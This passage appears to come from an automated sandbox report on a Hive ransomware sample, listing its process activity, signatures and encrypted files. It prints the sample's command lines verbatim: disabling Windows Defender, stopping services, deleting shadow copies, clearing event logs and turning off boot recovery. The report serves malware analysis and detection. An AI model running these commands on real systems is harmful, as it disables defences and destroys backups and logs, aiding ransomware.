Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1532 wrote to memory of 864 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\net.exe
PID 1532 wrote to memory of 864 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\net.exe
PID 1532 wrote to memory of 864 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\net.exe
PID 864 wrote to memory of 580 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 864 wrote to memory of 580 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 864 wrote to memory of 580 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1532 wrote to memory of 268 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\net.exe
PID 1532 wrote to memory of 268 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\net.exe
PID 1532 wrote to memory of 268 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\net.exe
PID 268 wrote to memory of 908 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 268 wrote to memory of 908 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 268 wrote to memory of 908 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1532 wrote to memory of 1416 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\net.exe
PID 1532 wrote to memory of 1416 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\net.exe
PID 1532 wrote to memory of 1416 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\net.exe
PID 1416 wrote to memory of 1464 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1416 wrote to memory of 1464 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1416 wrote to memory of 1464 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1532 wrote to memory of 1652 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\net.exe
PID 1532 wrote to memory of 1652 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\net.exe
PID 1532 wrote to memory of 1652 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\net.exe
PID 1652 wrote to memory of 836 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1652 wrote to memory of 836 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1652 wrote to memory of 836 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1532 wrote to memory of 1956 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\net.exe
PID 1532 wrote to memory of 1956 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\net.exe
PID 1532 wrote to memory of 1956 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\net.exe
PID 1956 wrote to memory of 432 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1956 wrote to memory of 432 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1956 wrote to memory of 432 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1532 wrote to memory of 1120 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\net.exe
PID 1532 wrote to memory of 1120 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\net.exe
PID 1532 wrote to memory of 1120 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\net.exe
PID 1120 wrote to memory of 1796 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1120 wrote to memory of 1796 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1120 wrote to memory of 1796 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1532 wrote to memory of 1116 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\net.exe
PID 1532 wrote to memory of 1116 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\net.exe
PID 1532 wrote to memory of 1116 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\net.exe
PID 1116 wrote to memory of 1508 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1116 wrote to memory of 1508 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1116 wrote to memory of 1508 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1532 wrote to memory of 1872 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\net.exe
PID 1532 wrote to memory of 1872 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\net.exe
PID 1532 wrote to memory of 1872 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\net.exe
PID 1872 wrote to memory of 1516 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1872 wrote to memory of 1516 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1872 wrote to memory of 1516 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1532 wrote to memory of 1448 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\sc.exe
PID 1532 wrote to memory of 1448 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\sc.exe
PID 1532 wrote to memory of 1448 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\sc.exe
PID 1532 wrote to memory of 1572 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\sc.exe
PID 1532 wrote to memory of 1572 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\sc.exe
PID 1532 wrote to memory of 1572 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\sc.exe
PID 1532 wrote to memory of 884 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\sc.exe
PID 1532 wrote to memory of 884 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\sc.exe
PID 1532 wrote to memory of 884 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\sc.exe
PID 1532 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\sc.exe
PID 1532 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\sc.exe
PID 1532 wrote to memory of 1736 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\sc.exe
PID 1532 wrote to memory of 1716 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\sc.exe
PID 1532 wrote to memory of 1716 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\sc.exe
PID 1532 wrote to memory of 1716 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\sc.exe
PID 1532 wrote to memory of 1108 N/A C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe C:\Windows\system32\sc.exe

Processes

C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe

"C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe"

C:\Windows\system32\net.exe

net.exe stop "NetMsmqActivator" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "NetMsmqActivator" /y

C:\Windows\system32\net.exe

net.exe stop "SamSs" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SamSs" /y

C:\Windows\system32\net.exe

net.exe stop "SDRSVC" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SDRSVC" /y

C:\Windows\system32\net.exe

net.exe stop "SstpSvc" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SstpSvc" /y

C:\Windows\system32\net.exe

net.exe stop "UI0Detect" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "UI0Detect" /y

C:\Windows\system32\net.exe

net.exe stop "VSS" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "VSS" /y

C:\Windows\system32\net.exe

net.exe stop "wbengine" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "wbengine" /y

C:\Windows\system32\net.exe

net.exe stop "WebClient" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "WebClient" /y

C:\Windows\system32\sc.exe

sc.exe config "NetMsmqActivator" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "SamSs" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "SDRSVC" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "SstpSvc" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "UI0Detect" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "VSS" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "wbengine" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "WebClient" start= disabled

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable

C:\Windows\system32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\vssadmin.exe

vssadmin.exe delete shadows /all /quiet

C:\Windows\system32\wevtutil.exe

wevtutil.exe cl system

C:\Windows\system32\wevtutil.exe

wevtutil.exe cl security

C:\Windows\system32\wevtutil.exe

wevtutil.exe cl application

C:\Windows\System32\Wbem\wmic.exe

wmic.exe SHADOWCOPY /nointeractive

C:\Windows\System32\Wbem\wmic.exe

wmic.exe shadowcopy delete

C:\Windows\system32\bcdedit.exe

bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\bcdedit.exe

bcdedit.exe /set {default} recoveryenabled no

C:\Windows\system32\cmd.exe

cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Program Files\Windows Defender\MpCmdRun.exe

"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Windows\system32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\system32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableRealtimeMonitoring $true

Network

N/A

Files

memory/976-55-0x000007FEFB801000-0x000007FEFB803000-memory.dmp

memory/2076-59-0x000007FEF28E0000-0x000007FEF343D000-memory.dmp

memory/2076-61-0x0000000002840000-0x0000000002842000-memory.dmp

memory/2076-60-0x000007FEF500E000-0x000007FEF500F000-memory.dmp

memory/2076-62-0x0000000002842000-0x0000000002844000-memory.dmp

memory/2076-63-0x0000000002844000-0x0000000002847000-memory.dmp

memory/2076-64-0x000000000284B000-0x000000000286A000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 1746c6855a9f918bc07b4f441100d8e7
SHA1 ba656db94f9512b50b55c91070c0ecff59cadae3
SHA256 5ab03fee7a55236960f0dea9f2ecdbe473dfc9fb2adc213b738988aba5c110b4
SHA512 cab1274670040c3b340590e938968941d9ef42efc6391302b8912c07750b07ad26a0ca143a2fc5a8bf09365991a5b6206ca4001c9243e7d1e71ede84193a64f2

memory/2168-67-0x000007FEF1F40000-0x000007FEF2A9D000-memory.dmp

memory/2168-68-0x000007FEF466E000-0x000007FEF466F000-memory.dmp

memory/2168-69-0x0000000002900000-0x0000000002902000-memory.dmp

memory/2168-70-0x0000000002902000-0x0000000002904000-memory.dmp

memory/2168-71-0x0000000002904000-0x0000000002907000-memory.dmp

memory/2168-72-0x000000000290B000-0x000000000292A000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2022-02-17 10:18

Reported

2022-02-17 10:21

Platform

win10v2004-en-20220113

Max time kernel

149s

Max time network

135s

Command Line

"C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe"

Signatures

Hive

ransomware hive

Modifies Windows Defender Real-time Protection settings

evasion trojan

Modifies security service

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" C:\Windows\SYSTEM32\reg.exe N/A

Clears Windows event logs

evasion ransomware

Deletes shadow copies

ransomware

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\bcdedit.exe N/A
N/A N/A C:\Windows\SYSTEM32\bcdedit.exe N/A

Modifies extensions of user files

ransomware
Description Indicator Process Target
File opened for modification C:\Users\Admin\Pictures\RestartStep.crw.ZTr33YX0V3IeaRHGLIRABTqaFjge0R4AUZy3i6ksMC3_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File renamed C:\Users\Admin\Pictures\StartShow.png => C:\Users\Admin\Pictures\StartShow.png.ZTr33YX0V3IeaRHGLIRABTqaFjge0R4AUZy3i6ksMC3_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Users\Admin\Pictures\StartShow.png.ZTr33YX0V3IeaRHGLIRABTqaFjge0R4AUZy3i6ksMC3_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File renamed C:\Users\Admin\Pictures\UnprotectProtect.tif => C:\Users\Admin\Pictures\UnprotectProtect.tif.ZTr33YX0V3IeaRHGLIRABTqaFjge0R4AUZy3i6ksMC3_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Users\Admin\Pictures\UnprotectProtect.tif.ZTr33YX0V3IeaRHGLIRABTqaFjge0R4AUZy3i6ksMC3_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File renamed C:\Users\Admin\Pictures\RenameRevoke.tiff => C:\Users\Admin\Pictures\RenameRevoke.tiff.ZTr33YX0V3IeaRHGLIRABTqaFjge0R4AUZy3i6ksMC3_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Users\Admin\Pictures\RenameRevoke.tiff.ZTr33YX0V3IeaRHGLIRABTqaFjge0R4AUZy3i6ksMC3_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File renamed C:\Users\Admin\Pictures\RestartStep.crw => C:\Users\Admin\Pictures\RestartStep.crw.ZTr33YX0V3IeaRHGLIRABTqaFjge0R4AUZy3i6ksMC3_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A

Reads user/profile data of web browsers

spyware stealer

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files\WindowsApps\Microsoft.MixedReality.Portal_2000.19081.1301.0_x64__8wekyb3d8bbwe\Assets\Error_Box.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.VP9VideoExtensions_1.0.22681.0_x64__8wekyb3d8bbwe\Assets\AppList.targetsize-32.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-white\WideLogo.scale-100_contrast-white.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\System\Ole DB\it-IT\oledb32r.dll.mui.ZTr33YX0V3IeaRHGLIRABTqaFjge0R4AUZy3i6ksMC3_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\META-INF\ECLIPSE_.SF.ZTr33YX0V3IeaRHGLIRABTqaFjge0R4AUZy3i6ksMC3_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\ModuleAutoDeps\org-netbeans-core.xml.ZTr33YX0V3IeaRHGLIRABTqaFjge0R4AUZy3i6ksMC3_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProPlus2019R_OEM_Perp4-pl.xrm-ms.ZTr33YX0V3IeaRHGLIRABTqaFjge0R4AUZy3i6ksMC3_GgAAABoAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.549981C3F5F10_1.1911.21713.0_x64__8wekyb3d8bbwe\Assets\Store\StoreLogo.scale-200.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsMaps_5.1906.1972.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SecondaryTiles\Directions\Work\RTL\contrast-black\SmallTile.scale-125.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.XboxGamingOverlay_2.34.28001.0_x64__8wekyb3d8bbwe\Assets\MixerBranding\mixer_logo.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-snaptracer.jar.ZTr33YX0V3IeaRHGLIRABTqaFjge0R4AUZy3i6ksMC3_AAAAAAAAAAA0.qmam4 C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsMaps_5.1906.1972.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SecondaryTiles\TrafficHub\contrast-black\SmallTile.scale-125.png C:\Users\Admin\AppData\Local\Temp\7987a020052048ad0ec8855c08df2f47c89922f.exe N/A
